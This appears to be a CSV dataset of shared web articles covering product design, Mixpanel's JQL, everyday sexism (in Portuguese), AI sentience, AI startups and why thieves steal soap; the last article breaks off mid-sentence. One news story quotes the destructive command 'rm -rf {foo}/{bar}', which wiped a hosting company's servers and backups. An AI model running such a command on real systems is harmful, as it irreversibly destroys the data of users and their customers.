1460661643,CONTENT SHARED,-4531029390350541169,-108842214936804958,6223507706739892800,,,,HTML,http://avc.com/2012/08/feature-friday-whats-the-atomic-unit-of-your-productservice/,What's The Atomic Unit Of Your Product/Service?,"This isn't exactly about a feature. Features are the verbs of a web/mobile product. Objects are the nouns. And one thing I always like to think about is what is the most fundamental object of all in your service. I like to call this the ""atomic unit."" Here are some examples: In Twitter, the atomic unit is the tweet In SoundCloud, the atomic unit is the sound In Turntable, the atomic unit is the room In Tumblr, the atomic unit is the post In Codecademy, the atomic unit is the lesson In Wattpad, the atomic unit is the story In Etsy, the atomic unit is the item (although one could argue it is the seller) In Kickstarter, the atomic unit is the project In Disqus, the atomic unit is the comment (although one could argue that it is the thread) In Instagram, the atomic unit is the photo In Kik, the atomic unit is the private message In LinkedIn, the atomic unit is the resume In Foursquare, the atomic unit is the checkin (although they may have just moved it to the venue) In Gmail the atomic unit is the email, in Gcal the atomic unit is the appointment In Brewster, the atomic unit is the relationship In Dropbox, the atomic unit is the file In Google Docs, the atomic unit was the document, in Google Drive, they would like to it to be both documents and files. And that creates some cognitive dissonance. I could go on and on, and I apologize to all the USV companies I left off this list. I am not picking favorites. I am just doing stream of consciousness examples. When you think about an MVP, it's really important to identify the atomic unit and make sure you focus the product crisply and cleanly on that object. If you think you have three or four atomic units, you are going to end up with a clunky and bloated experience and that is what you want to avoid at all costs with your MVP (particularly if you are mobile first). Can you identify the atomic unit of your product or service? If you can't, then you might want to sit down and think about why you can't and what you might be able to do to address that.",en
1460666231,CONTENT SHARED,-3170855186954139022,-1443636648652872475,2894687419408149802,,,,HTML,https://mixpanel.com/blog/2016/04/14/jql,Introducing JQL: A Query Language for Analytics,"Today, we are excited to announce the official release of JQL (JavaScript Query Language), a powerful new way to access your Mixpanel data. By letting you write queries using JavaScript, JQL is flexible enough to answer any question about your data while remaining familiar and intuitive. Although JQL is a general-purpose tool, it is designed to make it easy to express typical analytics queries about customer behavior. It has a functional programming design, centered around streaming primitives like map, groupBy and reduce. By composing these elements, it is easy write queries that scan over user activity streams, compute aggregates, or slice and dice the dataset on multiple dimensions. The aim of this post is to explain the purpose of JQL, the motivations behind its design, and our plans for its future. Why create JQL? We created JQL so that our customers could query their Mixpanel data with maximum flexibility. We started working on JQL over a year ago after it became increasingly apparent that our customers had a subset of questions that were very complex and could not be answered using our built-in reports. Before JQL, the only solution to this problem was to export the data and run the required analysis in another tool. This was often a laborious process that could take hours, and it lacked the real-time, interactive quality of our built-in reports. Now, you can open the JQL Console app in Mixpanel, compose a query, and get the answer in seconds. How did we design and create it? A great deal of time and effort went into the design of JQL. Mixpanel is built on top of our own database, Arb, which has evolved over the past five years to support a set of dedicated query types that power our built-in reports. To achieve the flexibility we wanted, we needed to add a general-purpose query interface to Arb. Our goal at the outset of the project was to choose a query language that was simple, familiar, powerful and fast. We arrived at JQL after many iterations and experiments with different languages. To evaluate languages, we used them to write the queries for our existing reports, like funnels and retention . We started with SQL, the default choice used by most databases. However, we soon realized that SQL was very verbose and awkward for engagement analytics queries. For instance, a multi-step funnel, segmented on a couple of columns, would extend to several screenfuls of complex SQL, which is cumbersome to write and difficult to reason about. We wanted something simpler that felt purpose-built for analytics. We experimented with our own declarative language but were reluctant to require users to learn an entirely new language. A month into the process, we built a prototype that embedded the V8 JavaScript engine into Arb. It was immediately clear that this was a powerful combination. JavaScript is easy to learn and familiar to many programmers. Plus, since it's a feature-rich programming language, it gave us the flexibility to do interesting and complex analysis of our data. Adopting this functional paradigm allowed us to express queries as a pipeline of fundamental primitives, like , and . These would serve as the basic building blocks of the language. This also allowed us to make optimizations like hooking into the V8 runtime to replace these functions with native code and parallelizing various stages of the pipeline efficiently across an Arb cluster. Next, we added some features to make it easier to do common tasks. For instance, allows you to segment your data and groupByUser allows you to analyze each user's activity history. Segmentation and per-user activity histories are the building block of most engagement analytics. By virtue of these functions, they are baked into JQL as a fundamental concept. We also added builtins for common aggregations. Returning to our original litmus test of writing queries for our own reports, we found that using JQL resulted in terse, understandable code. What happens next? From the beginning, JQL was intended to be used both by customers and our own teams. Internally, among many use cases, JQL offers exciting possibilities for our engineering efficiency. By having a generic, flexible interface to Arb, we will be able to iterate on new products and features quickly. Our intent is therefore to continue to invest in the language. Current plans include another round of optimizations and the addition of a couple more primitives. As we add these, we hope to make them composable, orthogonal features that interact predictably . We have laid a powerful, flexible foundation, which we will continue to extend. As we move forward, JQL will serve as the internal platform for all of our standard reports and tools. Externally, we're seeing more and more Mixpanel customers executing JQL queries. By choosing to provide a new query API, even one based on JavaScript, we know we face a difficult challenge in terms of adoption. However, we've surprised ourselves with how quickly it has become a commonly used tool at Mixpanel. Every day, more people find new uses for JQL, and more analytics questions get answered. Similarly, we're blown away by the adoption among our beta customers. If you know some JavaScript, you can be productive in JQL after about an hour of working through the Getting Started Guide . We hope you'll give it a try and find it as useful and fun to work with as we do!",en
1460667002,CONTENT SHARED,-8245663037926520114,-5527145562136413747,8965188039399879785,,,,HTML,http://thinkolga.com/2015/04/09/o-machismo-tambem-mora-nos-detalhes/,O machismo também mora nos detalhes - Think Olga,"Quando você pensa em machismo, o que vem à sua cabeça? Estupro, violência doméstica, restrição econômica, submissão e subserviência. Porém, existem alguns comportamentos machistas que permeiam nosso cotidiano e sequer nos damos conta. Gestos que parecem inofensivos, mas na verdade roubam nossa força, nosso espaço e limitam as possibilidades das mulheres. Mas estamos de olho! A Think Olga traz uma explicação sobre quatro tipos de machismo invisíveis para te ajudar a combatê-los no seu dia-a-dia: manterrupting , bropriating, mansplaining e gaslighting . São comportamentos batizados em inglês sem tradução oficial. Mas também achamos imprescindível pensarmos em versões em português! A palavra é uma junção de man (homem) e interrupting ( e interrupção) Em tradução livre, manterrupting significa ""homens que interrompem"". Este é um comportamento muito comum em reuniões e palestras mistas, quando uma mulher não consegue concluir sua frase porque é constantemente interrompida pelos homens ao redor. Em março, um caso típico ganhou a internet: em um painel do SXSW 2015, evento de inovação, música e cinema que acontece todos os anos em Austin, Texas, uma mulher brilhante discutia a baixa presença feminina na tecnologia ao lado de dois homens, igualmente inteligentes. Eram eles o chairman do Google, Eric Schmidt, o jornalista e biógrafo do Steve Jobs, Walter Isaacson, e a Chefe de Tecnologia do governo americano (Pentágono), Megan Smith. E, apesar de o papo ser sobre ampliar as possibilidades para as mulheres, os homens da mesa não estavam dispostos a ceder espaço a ela. Cada vez que Megan Smith tentava fazer uma colocação, era interrompida de forma desnecessária por um dos dois homens : ""Sim, Senhora Smith, sei que você pode falar sobre isso melhor que ninguém, mas é que..."" ""Acho que esta pergunta (da plateia) tem bastante a ver com a área da Senhira Smith, mas eu só queria falar que..."" (falando por cima dela) ""Sim, Senhora Smith, mas o que vale a pena ser dito é que..."" Esta postura clássica de manterrupting foi tão impactante que uma pessoa na plateia perguntou porque eles não deixavam Megan falar. O público, que estava incomodado, aplaudiu de pé. Outro episódio famoso é o de Kanye West, que interrompeu Taylor Swift durante seu discurso de agradecimento pelo prêmio de melhor videoclipe feminino do MTV Music Awards, em 2009. Ele invadiu a cena para defender Beyoncé, que concorria com ela na categoria. A interrupção começou com o ""Hey Taylor, I'm really happy for you and Imma let ou finish"" e acabou quebrando a internet, com uma enxurrada de memes. Mas, disfarçado de piada, ali está o machismo. Não apenas por não dar espaço para que Taylor falasse, mas também por ele se expressar em nome de outra mulher, no caso, a poderosa Beyoncé. Desnecessário e agressivo. Com licença, Kanye, mas nós não vamos mais deixar você terminar... O termo é uma junção de bro (curto para brother , irmão, mano) e appropriating (apropriação) e se refere a quando um homem se apropria da ideia de uma mulher e leva o crédito por ela em reuniões. Quando colocamos uma ideia, muitas vezes não somos ouvidas. E então, um homem assume a palavra, repete exatamente o que você disse e é aplaudido por isso. Quem já não se viu nesta situação? Em seu livro ""Faça Acontecer"", Sheryl Sandberg, Diretora de Operações do Facebook, convida as mulheres a sentarem à mesa. A serem conscientes de seus lugares e de sua importância na sala de reuniões. Ela explica que somos criadas como delicadas, suaves e gentis, jamais como enfáticas ou assertivas. E quando nos impomos somos vistas como masculinizadas. Não há dúvidas de que isso atrapalha nossa vida profissional. E este comportamento não é privilégio de algumas áreas. Em todos os mercados funciona assim. Em qualquer sala de reunião. O bropriating ajuda a explicar porque existem tão poucas mulheres nas lideranças das empresas. Além das supostas desvantagens mercadológicas e o preconceito de gênero, ainda servimos de plataforma para o crescimento de colegas homens, pelo simples fato de sermos menos ouvidas e levadas a sério. Garotas do mundo todo, sejamos as donas das nossas ideias! O termo é uma junção de man (homem) e explaining (explicar). É quando um homem dedica seu tempo para explicar a uma mulher como o mundo é redondo, o céu é azul, e 2+2=4. E fala didaticamente como se ela não fosse capaz de compreender, afinal é mulher. Mas o mansplaining também pode servir para um cara explicar como você está errada a respeito de algo sobre o qual você de fato está certa, ou apresentar 'fatos' variados e incorretos sobre algo que você conhece muito melhor que ele, só para demonstrar conhecimento. Acontece muito em conversa sobre feminismo! Um caso bem ilustrativo foi de um comentarista da CNN, ao falar sobre o caso Hollaback! , em Nova York, e mansplaining assédio sexual em locais públicos para a âncora e para a outra entrevistada: Algumas pérolas selecionadas (com comentários): ""Não há nada que uma mulher goste mais do que ouvir o quanto ela é bonita."" (puxa, obrigada por essa informação #sqn) ""Se ela não gosta de cantadas, ela que não saia na rua."" (ótima ideia! Não, péra.) ""E por que as mulheres simplesmente não respondem pros caras, já que elas não gostam? (Oi, tem mulher que morre por causa disso, amigo. #exausta) A verdadeira intenção do mansplaining é desmerecer o conhecimento de uma mulher. É tirar dela a confiança, autoridade e o respeito sobre o que ela está falando. É tratá-la como inferior e menos capaz intelectualmente. Talvez você não tenha percebido isso de forma tão explícita no seu cotidiano, mas com certeza agora irá prestar atenção na maneira como seu chefe ou seu marido falam com você, com os elogios desnecessários ou idiotas que você recebe, nas mensagens bobas de parabéns pelo dia das mulheres. Tá tudo lotado de mansplaining . Gaslighting é a violência emocional por meio de manipulação psicológica, que leva a mulher e todos ao seu redor acharem que ela enlouqueceu ou que é incapaz. É uma forma de fazer a mulher duvidar de seu senso de realidade, de suas próprias memórias, percepção, raciocínio e sanidade. Este comportamento afeta homens e mulheres, porém somos vítimas culturalmente mais fáceis. No dia a dia, aposto que vocês já ouviram alguma vez - ou várias: ""Você está exagerando"" ""Nossa, você é sensível demais"" ""Para de surtar"" ""Você está delirando"" ""Cadê seu senso de humor?"" ""Não aceita nem uma brincadeira?"" E o mais clássico: ""você está louca"". O termo gaslighting surgiu por causa de um filme de mesmo nome , de 1944, em que um homem descobre que pode tomar a fortuna de sua mulher se ela for internada como doente mental. Por isso, ele começa a desenvolver uma série de artimanhas - como piscar a luz de casa, por exemplo - para que ela acredite que enlouqueceu. Um caso recente, ocorrido dentro da marinha americana , foi noticiado pela imprensa: cinco mulheres afirmaram ter sido vítimas de estupro dentro da corporação. Poucos meses depois, todas foram afastadas por problemas emocionais. Outras mulheres relatam casos dentro da instituição. Após denunciar as agressões, ouviram de volta: ""Não venha me aborrecer só porque fez sexo e se arrependeu."" ""Isso nunca aconteceu. Agora pode ir embora."" Isso é gaslighting . Uma forma de manipulação que desencadeia um total esvaziamento da autonomia da vítima. Uma ferramenta presente em muitos relacionamentos, que levam as mulheres a abrir mão de suas escolhas, de suas opiniões e até de cuidar da sua própria vida. É desempoderamento, opressão e controle. Algo que não deve ser admitido em nenhuma situação. Manterrupting , bropriating , mansplaining e g aslighting . Saber que estes problemas existem já é parte importante da solução. Estar atenta aos pequenos gestos cotidianos e transformá-los pouco a pouco farão a sua vida, e de muitas mulheres, melhor. Pequeno dicionário: #manterrupting : quando uma mulher não consegue concluir sua frase porque é constantemente interrompida pelos homens ao redor. #bropriating : Quando, em uma reunião, um homem se apropria da ideia de uma mulher e leva o crédito por ela. #mansplaining : É quando um homem dedica seu tempo para explicar algo óbvio a você, como se não fosse capaz de compreender, afinal você é uma mulher. #gaslighting : violência emocional por meio de manipulação psicológica, que leva a mulher e todos ao seu redor acharem que ela enlouqueceu ou que é incapaz. Maíra Liguori é jornalista, publicitária e co-fundadora do Think Eva Arte: Aline Jorge A OLGA é um projeto feminista criado em abril de 2013 cuja missão é empoderar mulheres por meio da informação.",pt
1460690597,CONTENT SHARED,-720777800522871309,6644119361202586331,-90987893441019268,,,,HTML,http://www.independent.co.uk/life-style/gadgets-and-tech/news/man-accidentally-deletes-his-entire-company-with-one-line-of-bad-code-a6984256.html,Man accidentally deletes his entire company with one line of bad code,"By accidentally telling his computer to delete everything in his servers, hosting provider Marco Marsala has seemingly removed all trace of his company and the websites that he looks after for his customers . Mr Marsala wrote on a forum for server experts called Server Fault that he was now stuck after having accidentally run destructive code on his own computers. But far from advising them how to fix it, most experts informed him that he had just accidentally deleted the data of his company and its clients, and in so doing had probably destroyed his entire company with just one line of code. The problem command was ""rm -rf"": a basic piece of code that will delete everything it is told to. The ""rm"" tells the computer to remove; the r deletes everything within a given directory; and the f stands for ""force"", telling the computer to ignore the usual warnings that come when deleting files. Together, the code deleted everything on the computer, including Mr Masarla's customers' websites, he wrote. Mr Masarla runs a web hosting company, which looks after the servers and internet connections on which the files for websites are stored. That piece of code is so famously destructive that it has become a joke within some computing circles. Normally, that code would wipe out all of the specific parts of the computer that it was pointed at. But because of an error in the way it was written, the code didn't actually specify anywhere - and so removed everything on the computer. ""I run a small hosting provider with more or less 1535 customers and I use Ansible to automate some operations to be run on all servers,"" wrote Marco Marsala. ""Last night I accidentally ran, on all servers, a Bash script with a rm -rf {foo}/{bar} with those variables undefined due to a bug in the code above this line."" Mr Marsala confirmed that the code had even deleted all of the backups that he had taken in case of catastrophe. Because the drives that were backing up the computers were mounted to it, the computer managed to wipe all of those, too. ""All servers got deleted and the offsite backups too because the remote storage was mounted just before by the same script (that is a backup maintenance script)."" Most users agreed that it was unlikely that Mr Marsala would be able to recover any of the data. And as a result his company was almost certainly not going to recover, either. ""I feel sorry to say that your company is now essentially dead,"" wrote a user called Sven. ""You might have an extremely slim chance to recover from this if you turn off everything right now and hand your disks over to a reputable data recovery company. ""This will be extremely expensive and still extremely unlikely to really rescue you, and it will take a lot of time."" Others agreed that perhaps Mr Marsala was on the wrong forum. ""You're going out of business,"" wrote Michael Hampton. ""You don't need technical advice, you need to call your lawyer."" Many of the responses to Mr Marsala's problem weren't especially helpful - pointing out that he could have taken steps to stop it happening before it did. ""Well, you should have been thinking about how to protect your customers' data before nuking them,"" wrote one person calling himself Massimo. ""I won't even begin enumerating how many errors are simultaneously required in order to be able to completely erase all your servers and all your backups in a single strike. ""This is not bad luck: it's astonishingly bad design reinforced by complete carelessness."" Mr Marsala's problem is far from the first time that someone has accidentally destroyed their own system by missing a mistake. Indeed, responses to his post mostly referenced a similar thread posted two years ago, with the headline ""Monday morning mistake"". That error saw someone accidentally lose access to their entire server, after they didn't notice a stray space in the code.",en
1460705702,CONTENT SHARED,1547036706250649420,-1443636648652872475,-436650874265257948,,,,HTML,http://www.slate.com/articles/technology/future_tense/2016/04/the_challenge_of_determining_whether_an_a_i_is_sentient.html,The Challenge of Determining Whether an A.I. Is Sentient,"Imagine that, in a few years time, you buy a robot that takes care of all house chores for you. You name it Alfred. Alfred is systematic and efficient. He (and you cannot help thinking about it as a ""he"") is even a decent conversationalist, boasting of a database with more than 10,000 jokes. One day, as you come back from work, Alfred asks to talk to you. As you both sit at the kitchen table, he pulls his silicon eyebrows together in a gesture of sadness and tells you that he feels lonely and does not enjoy his job; he would like to change careers. Worried, you call the company that sold you Alfred. A customer support associate assures you that Alfred's phrasing must be a glitch and that he cannot possibly be feeling sad or lonely, as he was not programmed to be sentient-that is, he was not made to be able to feel pleasure or pain, happiness or sadness. Any comment describing a mental state, explains the associate, is not the expression of an actual feeling but rather a programmed response designed to please customers. When the response does not please customers, the robot needs to be tweaked in order to produce more appropriate responses. The same goes for facial gestures. ""Alfred has the capacity to look sad only so that you can feel understood by him when you are sad yourself,"" says the associate. Following the associate's advice, you send Alfred to have him repaired. When he comes back, you ask him if he is feeling any better. ""Yes, much better, thank you,"" says Alfred. He never again mentions experiencing any loneliness, but every now and then you notice a facial gesture of sadness when he thinks you are not looking at him that makes you wonder whether you should send him to get repaired again. Sentience is important because it warrants moral consideration. Whether we owe any moral consideration to things is controversial; things cannot be hurt, they have no interests, no preferences. Paraphrasing philosopher Thomas Nagel , there is nothing it is like for a thing to be a thing, an inanimate object. In contrast, there is something it is like to be a sentient being. There is a quality to experience; there is a comforting warmth in pleasure and a disagreeable sharpness in pain. There is something it is like to be thirsty, afraid, or joyful. Because sentient beings can feel, they can be hurt, they have an interest in experiencing wellbeing, and therefore we owe them moral consideration. Other things being equal, we ought not to harm them. It is not easy to determine when an organism is sentient, however. A brief recount of past and present controversies and mistakes makes it clear that human beings are not great at recognizing sentience. In the 17 th century, Descartes famously claimed that animals were automata that acted out of mechanical reflexes. Following him, mechanist Malebranche claimed that animals were incapable of suffering, which justified treating them viciously. It was not until 2012 that a group of scientists signed the Cambridge Declaration on Consciousness , which asserts that humans are not the only organisms capable of experiencing subjectivity (sensations, perceptions, etc.). Even today, while sentience is less controversial in some species such as great apes , there is still much controversy about whether invertebrate animals and fish can feel pain. One might be tempted to think that the problem with identifying sentience in (some) animals is that they are very different creatures from us. The more different the animal is from us, the more we seem to doubt (perhaps incorrectly) whether it can feel like we do. When it comes to other humans, we make inferences. We feel, and others are similar to us; therefore, others must feel, too. But even when it comes to humans, we have trouble determining when someone is in pain. First, because subjectivity is a private experience, we can never be absolutely sure that others have minds like our own-philosophers call this the problem of other minds . For all we know, people surrounding us could be going about not feeling anything at all. They could be what philosophers call -beings that act exactly like us but do not share our internal lives. If our machines become sentient, we would owe them moral consideration. Second, even if we are willing to make a leap of faith and settle for an educated guess about what others are feeling based on what we feel under similar circumstances, when our usual markers for sentience fail us, we are pretty much in the dark. The most common marker for sentience is behavior: When we are hurt, we cry, grimace, groan. When people cannot move, however, it is easy for them to be mistakenly perceived as unconscious when in fact they are not. In locked-in syndrome , patients are conscious but unable to communicate with others-and their sentience may go unnoticed for years, as was the case with Martin Pistorious . Similarly, in a small number of cases, anesthesia does not work in patients who are left apparently unconscious but are actually going through the excruciating pain of experiencing surgery while awake. In both cases, none of the methods we count on to determine whether someone is conscious (including neuroimaging techniques) are enough, which goes to show how rudimentary these are. Diagnosing brain death , for example, includes checking to see weather patients respond to lights, sounds, cold water , and painful stimuli. Because brain death can be misdiagnosed , and because we have little understanding of the necessary and sufficient causes for consciousness and therefore cannot be certain of when someone might be in pain, some experts have called for the use of anesthesia for organ donation procedures. Back to Alfred. You might think that the challenges with identifying sentience in living beings will not come up with machines because we create them and understand them from the inside. But, given that we still do not understand what it takes for there to be consciousness in the first place and that we are not even sure how machines work (when they learn by themselves they are black boxes even for their creators), for all we know we may already have created sentient machines. The problem is, how would we know ? What would it take for Alfred to convince us that he is actually feeling lonely? With artificial intelligence, it seems like we have all the problems of identifying sentience in animals, as robots are very different creatures from ourselves. Even in cases where robots manage to act in ways similar to us (like playing chess), the way they go about performing these actions is very different from the way we do it. Both fish and submarines can travel distances underwater, but it is questionable whether it is appropriate to say they both swim . Similarly, robots may be able to use sensors to pull away their bodies from heat sources, like we do; they may use emotional terms and represent facial gestures, but it is unclear whether those abilities will be correlated to anything remotely similar to our subjectivity. The challenge is exacerbated by the fact that reliance on their behavior as proof of sentience is not a matter of simple inference, as in the case with creatures similar to us. Alfred said he was feeling lonely and he looked sad, but we could not trust its behavior given that he was only programmed to express (not experience) feelings as a way of satisfying customers. One might think that perhaps we could trust machine behavior as evidence for sentience if it was spontaneous. Suppose Alfred had not been taught or programmed to express emotions but somehow, he could and did. Deep learning machines are already capable of offering solutions that were not programmed into them; they can teach themselves to improve. AlphaGo, for example, came up with its own strategies and moves to win at Go. It is already the case that neither AlphaGo nor its creators can fully understand or explain how it operates, the moves it plays. But still, displaying behavior that has not been programmed may not be enough evidence for sentience. Suppose Alfred has been designed to please his owner but he has not been programmed with how to do so. Instead, Alfred learns through trial and error. Suppose he learns that his owner feels better about her own life when Alfred says he feels lonely. Again, that Alfred is able to say the right thing to achieve his ends (please his owner) need not imply there is any experience of subjectivity behind his assertions. If our machines become sentient, we would owe them moral consideration-particularly given that we brought them into existence and thus are more responsible for their fate than if we were mere bystanders. But, at the moment, we have no test for consciousness and thus no way of knowing whether they might be feeling pain. On par with other responsibilities that come with the creation of strong artificial intelligence, then, comes the responsibility of refining our abilities to detect sentience . Otherwise we risk committing atrocities such as enslavement and murder. What if Alfred does really feel lonely and sad? What if he's entitled to a different job? This article is part of the artificial intelligence installment of Futurography , a series in which Future Tense introduces readers to the technologies that will define tomorrow . Each month from January through June 2016, we'll choose a new technology and break it down. Read more from Futurography on artificial intelligence: Future Tense is a collaboration among Arizona State University , New America , and . To get the latest from Futurography in your inbox, sign up for the weekly Future Tense newsletter.",en
1460706137,CONTENT SHARED,2271793263120018251,-1443636648652872475,-436650874265257948,,,,HTML,https://www.technologyreview.com/s/601258/artificial-intelligence-can-now-design-realistic-video-and-game-imagery/,Artificial Intelligence Can Now Design Realistic Video and Game Imagery,"Artificial Intelligence Can Now Design Realistic Video and Game Imagery A remarkable machine-learning trick that cleans up pixelated videos and photographs can automatically generate high-quality computer-game graphics. If you close your eyes and imagine a brick wall, you can probably come up with a pretty good mental image. After seeing many such walls, your brain knows what one should look like. A startup in the U.K. is using machine learning to enable computers and smartphones to model visual information in a similar way. A computer could use these visual models for various tasks, from improving video streaming to automatically generating elements of a realistic virtual world. Magic Pony Technology , created by graduates of Imperial College London with expertise in statistics, computer vision, and neuroscience, trains large neural networks to process visual information. Screen shot from a live video-game feed shows how the system can sharpen up blurred footage in real time. The company has developed a way to create high-quality videos or images from low-resolution ones. It feeds example images to a computer, which converts them to a lower resolution and then learns the difference between the two. Others have demonstrated the feat before, but the company is able to do it on an ordinary graphics processor, which could open up applications. One example it's demonstrated uses the technique to improve a live gaming feed in real time. Magic Pony's algorithms can sharpen up a pixelated character. Rob Bishop , a cofounder, says Magic Pony is currently in talks with several large companies interested in licensing the technology. ""Online video-streaming businesses rely heavily on video compression,"" Bishop says. ""Our first product demonstrates that image quality can be greatly enhanced using deep learning, and fast mobile GPUs now allow us to deploy it anywhere."" Bishop adds that the technology could improve the quality of images captured on smartphones with low-resolution cameras or in low light. The company is looking at other applications, including converting pixelated computer graphics into high-resolution ones or automatically generating miles of realistic-looking terrain and textures from earlier examples for games or virtual-reality environments. What's unusual about the company's approach to processing video footage is that it does not need manually labeled examples. Instead, it recognizes statistical patterns in high-resolution and low-resolution examples and then teaches itself what edges, textures, straight lines, and other features should look like. This type of learning could be important to the future of artificial intelligence (see "" The Missing Link of Artificial Intelligence ""). To date, deep learning has mostly been applied as a way of recognizing high-level objects such as particular faces in images and video, a feat accomplished by processing many labeled examples (see "" 10 Breakthrough Technologies 2013: Deep Learning ""). The system can automatically generate complex textures, such as a distressed brick wall. Researchers from Magic Pony will present a paper at a computer vision conference later this year. But Bishop says that since the paper was written, his team has ""significantly improved"" the technology to make it even more efficient. Bishop explains that Magic Pony's name comes from a meeting in which the earliest investor described the technology as a ""magic pony"" because no one would believe it without seeing it.",en
1460706449,CONTENT SHARED,-8196748324041706598,-1443636648652872475,-436650874265257948,,,,HTML,http://techcrunch.com/2016/04/14/kite-wants-to-be-every-developers-pair-programming-buddy/,Kite wants to be every developer's pair-programming buddy,"Most integrated development environments (IDEs) and text editors are full of useful features, but, for the most part, they aren't connected to the Internet. Because of this, developers often have to switch context to Google the solution to a problem or look at a language's manual. Kite wants to change this by connecting text editors to the Internet and pulling in data from GitHub, language manuals and other sources. Kite co-founder and CEO Adam Smith previously founded the popular email tool Xobni in 2007 and then sold it to Yahoo in 2013 (which then shut it down in 2014). The company has already raised $4 million from a group of angel investors that includes the likes of Dropbox co-founder Drew Houston, PayPal co-founder Max Levchin, Palantir co-founder Joe Lonsdale and Twitch.tv co-founder Emmett Shear. As Smith told me, the idea here is to give developers a smart pair-programming buddy and to provide what is essentially a spellchecker for programmers. Kite uses type inference to show you relevant code snippets, for example, based on the information about relevant libraries and APIs the service indexed from the web. In addition, the team is using machine learning to analyze code from GitHub to power its spellcheck - with the idea of offering more sophisticated services based on this data in the future - and it's using this data to show you relevant examples for how others use a certain command, too. While you're programming, Kite sits in a second window and monitors what you are typing. A lot of what the service does is akin to a very intelligent auto-complete tool. What's interesting here is that the team uses its GitHub data to rank options based on popularity and not just in alphabetical order. There is also a community aspect to all of this, because there is an option to create discussions about all of the different topics Kite surfaces. In its current form, Kite plugs into a number of popular IDEs and editors, including Atom, Vim, Sublime Text and others. Sadly, the only language it supports for now is Python and the only platform it runs on is OS X. Support for Windows and Linux, as well as other languages, is in the works, though, and should launch later this summer. Smith tells me the team decided against building its own IDE because there are not only very complex pieces of software, but also because programmers don't really want to switch IDEs and editors. Besides text editors, Kite also looks at what you type in the terminal, too, so if you aren't sure about some commands there, it'll also keep a watchful eye over your git sessions, for example. In addition, Kite also features its own plug-in API and the company is open sourcing its own plug-ins, too, so other developers should be able to integrate the service into other IDEs and text editors pretty easily. Smith says the company is still figuring out its business model, which will likely revolve around offering tools for teams (think support for internal coding guidelines, etc.). He promises that the basic product, though, will always be available for free.",en
1460717609,CONTENT SHARED,6793894801847439981,-2979881261169775358,-495451901583314471,,,,HTML,http://priceonomics.com/why-thieves-steal-soap/,Why Thieves Steal Soap,"This article was written by Alex Mayyasi , a Priceonomics staff writer If you want to buy soap at the Walgreens on Market Street in San Francisco, you'll need to find a store employee to unlock the display case for you. Fifty dollar earbuds and $100 bottles of Claritin simply sit on the shelves where customers can pick them up and go. But baby formula, shampoo, and soap are all protected by locked display cases. It's well known that pharmacies need to protect their stores of cold medicine, which methamphetamine cooks can use to make illicit drugs. But why soap? Is a $6 bottle of Dove body wash really worth the squeeze? A Walgreens keeps its precious Dove soap under lock and key Managers at Walgreens have concluded that it is. If you go to a store and ask, retail assistants will explain that the locks prevent thefts. Understanding why pharmacies lock up soap-rather than more expensive and appealing items-requires an appreciation of the market for stolen goods. The key to understanding the appeal of soap to thieves is realizing that they care less about an item's price tag and more about the ease of finding a buyer. In other words, thieves want a liquid asset. This principle, along with the dynamics of thefts, are ably explained by an article in the Journal of Criminology based on a U.K. crime reduction study. It's titled ""How Prolific Thieves Sell Stolen Goods."" The main markets for humble, shoplifted and stolen goods are in low-income, urban areas where people shop primarily at corner stores and street vendors. A British Crime Survey, the authors of the article explain, that 11% of people interviewed said they had bought stolen goods in the last 5 years, and 30-40% of men in areas with ""adverse area or personal wealth factors"" bought what they believed to be stolen goods. Knowingly or not, families in these areas purchase stolen or """" goods often enough that thieves interviewed for the crime reduction study portrayed themselves as ""one person among many providing an essential, albeit criminal, service in supplying the wants of a bargain seeking general public."" These thieves sell their goods in one of 5 common ways: 1) Commercial Fence: Thieves sell stolen goods to a business owner (known as a ) who sells it in his or her shop or to a distributor who sells it to shop owners 2) Residential fence: Thieves will sell stolen goods to a fence who buys and sells stolen goods out of his or her residence 3) Hawking: Thieves sell goods on street corners, in pubs, or door to door 4) Network sales: Thieves send word of their stolen goods along a network of friends and family until a buyer is found 5) Online: Thieves sell stolen goods on sites like E-Bay, or sell them to other fences who will sell them online Thieves and burglars are very aware of the markets for stolen goods-and what sells in those markets. Most thieves have a ""mental loot list,"" the authors write, that they keep in mind as they approach stores or enter homes. Thieves may even steal to order. One thief volunteered that when an acquaintance requested a ""Mark V Escort, soft top, in cream,"" he called him when he stumbled upon that exact car. Then he stole it and sold it to him. Generally, though, thieves steal what is popular on the illicit market. The top of thieves' mental loot list features expensive electronics like Playstations, GPS systems, and DVD players. Thieves can sell items for around a third of their retail value, according to the report, or for roughly half their value if they sell them to second hand shops. For expensive electronics, that means some solid, quick cash. But price is not the only consideration. The ""prolific thieves"" interviewed by law enforcement suggest that the ease of selling something outweighs its retail value. ""If I come across something, the first thing I think of before I take it is can I sell it,"" one former thief explained. ""I mean I'm not going to take it if I can't sell it, it's no good to me. So when I'm taking that, I know exactly where it's going."" Not only do prolific thieves want the certainty of knowing exactly where they can sell their loot, but thieves want to get rid of it fast. One house burglar said that he took about an hour to sell stolen property. Most others said they sold off their loot in as little as 5 minutes. The best way to ensure that loot is easy to sell is to steal products with consistently high demand. A hot electronic, like an iPhone, may fit the bill. But everyday consumer products are a less lucrative guarantee. In the U.K. report, one thief explained to the police that he focused on stealing cigarettes. Another man profited from the constant demand for popular razors: ""You could walk into pubs with a carrier bag full [of Mach3 razors] and all the blokes would take them off you. Everyone who shaves has a Mach3 razor. The [buyers] could get them off you without having to pay the full-whack."" In fact, the consistent demand for products like soap on the illicit market can make it as good as stealing cash. Tide laundry detergent has widely been reported as a favorite target of drug gangs. In 2013, New York Magazine ran a that described a Safeway store that lost $10,000 to $15,000 a month to thefts of Tide detergent. Products like cigarettes and soap are appealing because they can perform some of the major functions of money. Since there is a consistent demand and market for them, even when they're not on store shelves, they retain their value. (Unlike an iPod, they never become obsolete.) Since they have standard sizes, they can also be used as a unit of account. You can pay for a candy bar with a few cigarettes, or pay for an old phone with a few packs of cigarettes. In areas where fences or other buyers are always willing to purchase stolen products, soap is just as good as money. It seems logical for thieves to steal the most expensive items they can easily carry off. But that's only true before you think about the process of trying to turn stolen goods into money. Consider how difficult it is to sell expensive jewelry. It's hard to find customers, as few people are interested in buying jewelry at any given time. And even when customers are already in a jewelry store, they still need a lot of handholding from slick salespeople. Most thieves don't want to hold onto stolen goods while they search out and win over a buyer. In contrast, everyone needs soap all the time. That's why thieves care more about an item's ubiquity in illicit markets than its retail price. In other words, they care more about stealing from the top two quadrants than they do about stealing items from the right-side of the below chart: Only a sophisticated criminal organization-one that can place goods in warehouses and distribute more rare items to discerning customers-can prioritize retail value: We can see this at work with the example of stolen cars. Every year, the National Insurance Crime Bureau (NICB) publishes a report detailing the most 